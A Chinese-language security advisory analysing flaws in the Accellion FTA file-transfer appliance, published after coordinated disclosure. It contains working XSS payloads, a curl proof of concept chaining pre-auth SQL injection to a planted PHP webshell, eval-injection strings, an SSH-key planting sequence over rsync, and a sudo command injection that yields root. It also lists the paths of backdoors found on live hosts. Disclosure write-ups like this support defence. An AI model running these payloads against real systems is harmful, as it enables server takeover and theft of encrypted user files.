By Orange Tsai
English Version (English Version)
中文版本 (中文版本)
Accellion FTA 介紹
Accellion File Transfer Appliance (以下簡稱 FTA) 為一款安全檔案傳輸服務,可讓使用者線上分享、同步檔案,且所有檔案皆經 AES 128/256 加密,Enterprise 版本更支援 SSL VPN 服務並整合 AD, LDAP, Kerberos 等 Single Sign-on 機制。
漏洞描述
在研究過程中,於 FTA 版本 FTA_9_12_0 (13-Oct-2015 Release) 上,發現了下列弱點:
- Cross-Site Scripting x 3
- Pre-Auth SQL Injection leads to Remote Code Execution
- Known-Secret-Key leads to Remote Code Execution
- Local Privilege Escalation x 2
以上弱點可使不需經過認證的攻擊者,成功遠端攻擊 FTA 伺服器並取得最高權限,當攻擊者完全控制伺服器後,可取得伺服器上的加密檔案與用戶資料等。
弱點經回報 CERT/CC 後取得共四個獨立 CVE 編號 (CVE-2016-2350, CVE-2016-2351, CVE-2016-2352, CVE-2016-2353)。
影響範圍
根據公開資料掃描,全球共發現 1217 台 FTA 存活主機,主要分布地點為美國,其次加拿大、澳洲、英國與新加坡。根據存活主機的域名、SSL Certificate 發現 FTA 使用客戶遍及政府、教育、企業等領域,其中不乏一些知名品牌。
漏洞分析與利用
Multiple Cross-Site Scripting (CVE-2016-2350)
1. XSS in move_partition_frame.html
https://<fta>/courier/move_partition_frame.html
?f2=’-prompt(document.domain);//
2. XSS in getimageajax.php
https://<fta>/courier/web/getimageajax.php
?documentname=”onerror=”prompt(document.domain)//
3. XSS in wmInfo.html
https://<fta>/courier/web/wmInfo.html
?msg=ssologout
&loginurl=”><svg/onload=”prompt(document.domain)
Pre-Auth SQL Injection leads to RCE (CVE-2016-2351)
經過代碼審查後,在 FTA 中發現一個不須驗證的 SQL Injection,這使得惡意使用者可透過 SQL Injection 存取伺服器的敏感檔案及個人資料,並配合權限設定問題導致遠端代碼執行。問題出在 security_key2.api 中所呼叫到的 client_properties( ... )
函數中!
/home/seos/courier/security_key2.api
// ...$password=_decrypt($password,_generate_key($g_app_id,$client_id,$g_username));opendb();$client_info=client_properties($client_id)[0];// ...
其中 $g_app_id
$g_username
$client_id
$password
皆為攻擊者可控參數,雖然有個 _decrypt( ... )
函數對密碼進行處理,但是與弱點觸發並無相關。其中要注意是 $g_app_id
的值會被代入成全域變數,代表當前使用的 Application ID,並且在 opendb( )
使用,其中在 opendb( )
內有以下代碼:
$db=DB_MASTER.$g_app_id;if(!@mysql_select_db($db))
mysql_select_db
中所開啟資料庫的名稱由使用者可控,如給錯誤的值將導致程式無法繼續執行下去,所以必須將 $g_app_id
偽造成正確的內容。
接著是最主要的函數 client_properties( $client_id )
functionclient_properties($client_id='',$user='',$manager='',$client_type=0,$client_name='',$order_by='client_id',$order_type='a',$limit='',$offset='',$exclude_del=1,$user_type='',$user_status=''){$sql=($user_type=''?'SELECT t_mail_server.* FROM t_mail_server ':'SELECT t_mail_server.*, t_profile.c_flag as profile_flag FROM t_mail_server, t_profile ');$filter['client_id']=$client_id;$filter['client_name']=$client_name;$filter['client_type']=$client_type;$filter['user']=mysql_escape_like($user);$filter['user_type']=$user_type;$filter['manager']=$manager;$filter['user_status']=$user_status;$sql&=construct_where_clause($filter,$exclude_del);// ...$result=array();@mysql_query($sql);($db_result=||fatal_error('exec:mysql_query('.$sql.') respond:'.mysql_error(),__FILE__,221));
functionconstruct_where_clause($filter,$exclude_del=1){$where_clause=array();$where_clause[]='c_server_id != \'999\'';if($exclude_del){$where_clause[]='!(t_mail_server.c_flag & '.CLIENT_DELETED.')';}if($filter['client_id']!=''){$where_clause[]='c_server_id = \''.$filter['client_id'].'\'';}if($filter['manager']!=''){$filter['manager']=mysql_real_escape_string($filter['manager']);$where_clause[]='c_manager = \''.$filter['manager'].'\'';}if($filter['client_name']!=''){$filter['client_name']=mysql_real_escape_string($filter['client_name']);$where_clause[]='t_mail_server.c_name LIKE \'%'.$filter['client_name'].'%\'';}if(($filter['user']!=''&&$filter['user']!='%%')){$filter['user']=mysql_real_escape_string($filter['user']);$where_clause[]='t_mail_server.c_user_id LIKE \''.$filter['user'].'\'';}
client_properties( ... )
中會將所傳進的參數進行 SQL 語句的拼裝,而 construct_where_clause( ... )
為最關鍵的一個函數。
在 construct_where_clause( ... )
中可以看到參數皆使用 mysql_real_escape_string
來防禦但唯獨缺少 $client_id
,從原始碼的 Coding Style 觀察猜測應該是開發時的疏忽,因此根據程式流程送出對應的參數即可觸發 SQL Injection。
此外,在 FTA 中資料庫使用者為 root 具有 FILE_PRIV 權限,因此可使用 INTO OUTFILE
撰寫自己 PHP 代碼至可寫目錄達成遠端代碼執行!
PoC
$ curl https://<fta>/courier/1000@/security_key2.api -d "aid=1000&user_id=1&password=1&client_id=' OR 1=1 LIMIT 1 INTO OUTFILE '/home/seos/courier/themes/templates/.cc.php' LINES TERMINATED BY 0x3c3f...#"
生成的 PHP 檔案位置在
http://<fta>/courier/themes/templates/.cc.php
Known Secret-Key leads to Remote Code Execution
在前個弱點中,要達成遠端代碼執行還有一個條件是要存在可寫目錄,但現實中有機率找不到可寫的目錄放置 Webshell,因此無法從 SQL Injection 達成代碼執行,不過這時有另外一條路可以幫助我們達成遠端代碼執行。
這個弱點的前提條件是 已知資料庫中所存的加密 KEY
這點對我們來說不是問題,從前面的 SQL Injection 弱點可任意讀取資料庫內容,另外雖然在程式碼中有對參數進行一些過濾,但那些過濾是可以繞過的!
/home/seos/courier/sfUtils.api
$func_call=decrypt($_POST['fc']);$orig_func='';if(preg_match('/(.+)\(.*\)/',$func_call,$func_match)){$orig_func=$func_call;$func_call=$func_match[1];}$cs_method=array('delete_session_cache','delete_user_contact','valid_password','user_password_update_disallowed','user_password_format_disallowed','get_user_contact_list','user_email_verified','user_exist_allow_direct_download','user_profile_auth');if((!$func_call||!in_array($func_call,$cs_method))){returnfalse;}if($orig_func){$func_call=$orig_func;}if($func_call=='get_user_contact_list'){if(!$_csinfo['user_id']){returnfalse;}if(preg_match('/[\\\/"\*\:\?\<\>\|&]/',$_POST['name'])){returnfalse;}$func_call='echo(count('.$func_call.'("'.$_csinfo['user_id'].'", array("nickname"=>"'.addslashes($_POST['name']).'"))));';}else{if(isset($_POST['p1'])){$func_param=array();$p_no=7;while(isset($_POST['p'.$p_no])){$func_param[]=str_replace('\'','\\\'',str_replace('$','\\$',addslashes($_POST['p'.$p_no])));++$p_no;}$func_call='echo('.$func_call.'("'.join('", "',$func_param).'"));';}}echo@eval($func_call);
如果已知加密 KEY 的話,即可控制 decrypt( $_POST[fc] )
的輸出,而後面的正規表示式雖然針對函數名稱進行白名單過濾,但是沒對參數進行過濾,如此一來我們可以在參數的部分插入任意代碼,唯一的條件就是不能有 (
)
出現,但由於 PHP 的鬆散特性,玩法其實很多,這裡列舉兩個:
直接透過反引號執行系統指令:
user_profile_auth(`$_POST[cmd]`);
更優雅的方式可以透過 include 語法引入上傳檔案的 tmp_name,這樣各種保護都不用擔心:
user_profile_auth(include $_FILES[file][tmp_name]);
Local Privilege Escalation (CVE-2016-2352 and CVE-2016-2353)
在取得 PHP 網頁權限後,發現所屬權限為 nobody,為了進行更深入的研究,在對環境進行審視後,發現兩個可用來提升權限之弱點。
1. Rsync 配置錯誤
/etc/opt/rsyncd.conf
logfile=/home/soggycat/log/kennel.log...[soggycat]path=/home/soggycatuid=soggycatreadonly=falselist=false...
其中模組名稱 soggycat 對 /home/soggycat/
為任何人可讀可寫,所以可將 SSH Key 寫至 /home/soggycat/.ssh/ 後以 soggycat 身分登入
bash-3.2$ id
uid=99(nobody)gid=99(nobody)groups=99(nobody)
bash-3.2$ rsync 0::soggycat/.ssh/
drwx------ 4096 2016/01/29 18:13:41 .
-rw-r--r-- 606 2016/01/29 18:13:41 authorized_keys
bash-3.2$ rsync 0::soggycat/.ssh/authorized_keys .
bash-3.2$ cat id_dsa.pub >> authorized_keys
bash-3.2$ rsync authorized_keys 0::soggycat/.ssh/
bash-3.2$ ssh -i id_dsa -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no soggycat@localhost id
Could not create directory '/.ssh'.
Warning: Permanently added '0,0.0.0.0'(RSA) to the list of known hosts.
uid=520(soggycat)gid=99(nobody)groups=99(nobody)
2. Command Injection in “yum-client.pl”
在 FTA 中,為了使系統可以直接透過網頁介面進行更新,因此在 sudoers 配置中特別針對 nobody 用戶允許直接使用 root 權限執行指令,並透過 yum-client.pl
這隻程式進行軟體更新
/etc/sudoers
...
Cmnd_Alias YUM_UPGRADE = /usr/bin/yum -y upgrade
Cmnd_Alias YUM_CLIENT = /usr/local/bin/yum-client.pl
...
# User privilege specificationrootALL=(ALL) ALLadminALL =NOPASSWD: UPDATE_DNS, UPDATE_GW, UPDATE_NTP, RESTART_NETWORK, CHMOD_OLDTEMP ...
nobodyALL =NOPASSWD: SSL_SYSTEM, ADMIN_SYSTEM, IPSEC_CMD, YUM_CLIENT
soggycatALL =NOPASSWD: ADMIN_SYSTEM, IPSEC_CMD, CHOWN_IPSEC, UPDATE_IPSEC, YUM_CLIENT
radminALL =NOPASSWD: RESET_APPL
...
其中 YUM_CLIENT 就是進行更新的指令,部分代碼如下:
/usr/local/bin/yum-client.pl
...GetOptions('help'=>\$help,'download_only'=>\$download_only,'list'=>\$list,'cache'=>\$cache,'clearcache'=>\$clearcache,'cdrom=s'=>\$cdrom,'appid=s'=>\$appid,'servername=s'=>\$servername,'version=s'=>\$version,'token=s'=>\$token);my$YUM_CMD="/usr/bin/yum";if($cache){$YUM_CMD="$YUM_CMD -C";}# if this is based on RHEL 5, change the repositorymy$OS=`grep -q 5 /etc/redhat-release && echo -n 5`;my$LOGFILE="/home/seos/log/yum-client.log";my$STATUSFILE="/home/seos/log/yum-client.status";my$YUMCONFIG="/etc/yum.conf";my$YUMDIFF_FILE='/home/seos/log/yum.diff';if($cdrom){if($OSeq"5"){$YUM_CMD="$YUM_CMD -c $cdrom_path/yum.conf-5";}else{$YUM_CMD="$YUM_CMD -c $cdrom_path/yum.conf";}system("mkdir -p /mnt/cdrom && mount -o loop $cdrom $cdrom_path")==0orfdielog($LOGFILE,"unable to mount: $!");}
深入觀察 yum-client.pl
後可發現在 --cdrom
參數上存在 Command Injection,使得攻擊者可將任意指令插入參數內並以 root 身分執行
所以使用如下指令:
bash-3.2$ id
uid=99(nobody)gid=99(nobody)groups=99(nobody)
bash-3.2$ sudo /usr/local/bin/yum-client.pl --cdrom='$(id > /tmp/.gg)'
mount: can't find /mnt/cdrom in /etc/fstab or /etc/mtab
unable to mount: Bad file descriptor at /usr/local/bin/yum-client.pl line 113.
bash-3.2$ cat /tmp/.gg
uid=0(root)gid=0(root)groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
即可以 root 身分執行任意指令!
後門
在取得最高權限後,開始對伺服器進行一些審視時,發現已有幾款後門藏在 FTA 主機中了,經過研究後首先確認一款 IRC BOT 為 Niara 所發布的 弱點報告中有提及,此外,額外發現兩款不同類型的 PHP Webshell 並無在公開的報告中發現,透過 Apache Log 時間推測應該是透過 2015 年中的 CVE-2015-2857 所放置之後門。
PHPSPY 後門,全球 1217 台存活主機上共發現 62 台,放置路徑於:
https://<fta>/courier/themes/templates/Redirector_Cache.php
WSO 後門,全球 1217 台存活主機上共發現 9 台,放置路徑於:
https://<fta>/courier/themes/templates/imag.php
致謝
這份 Advisory 所提及的弱點為在 2016 二月時參加 Facebook Bug Bounty 時尋找到的,詳情可參考文章《滲透 Facebook 的思路與發現》,找到弱點的當下立即回報包括 Accellion 及 Facebook,Accellion 並在 2/12 號將此份弱點記錄在 FTA_9_12_40 並通知所有受影響的客戶安裝修補程式。
感謝 Facebook 以及 Accellion 的迅速反應跟配合 : )
Timeline
- 2016/02/06 05:21 聯絡 Accellion 詢問何處可回報弱點
- 2016/02/07 12:35 將報告寄至 Accellion Support Team
- 2016/03/03 03:03 Accellion Support Team 通知會在 FTA_9_12_40 修復
- 2016/05/10 15:18 詢問將撰寫 Advisory 許可及通知發現兩款後門存在
- 2016/06/06 10:20 雙方討論定稿